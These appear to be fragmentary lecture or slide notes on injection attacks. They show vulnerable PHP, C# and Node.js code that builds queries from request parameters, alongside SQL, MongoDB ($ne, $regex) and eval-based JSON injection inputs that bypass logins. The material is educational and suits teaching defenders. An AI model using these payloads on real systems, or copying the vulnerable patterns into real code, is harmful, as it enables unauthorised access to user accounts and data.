proweb

PHP

String query = ”

SELECT * FROM users WHERE ID=’ " + $_GET["id”] +”’”

http://site/?id=’ or ’’=’

SELECT * FROM users WHERE ID=’’ or ’’=’’

C#

var uID = Request.QueryString[”UserID"]; var sqlString = ”

SELECT * FROM users WHERE ID = " + uID;

index.aspx?UserID=1 or 1=1

SELECT * FROM users WHERE ID = 1 or 1=1

NoSQL Injection

mongoDB

mongoDB

PHP & mongo

$cur = $coll->find(array(

“login” => $login, “pass” => $pass));

?login=Admin&pass[$ne]=1

find({“login” : “Admin”, “pass” : {$ne : 1} })

? login[$regex]=^Ad&pass[$regex]=^

…

BSON

BSON

JSON Injection

nodeJS

var param = eval(“({ login: ‘” + login + ”’, password: ‘” + password+ ”’})”);

?login=“root’}) //

find({login: root}) //’, password: ‘’ })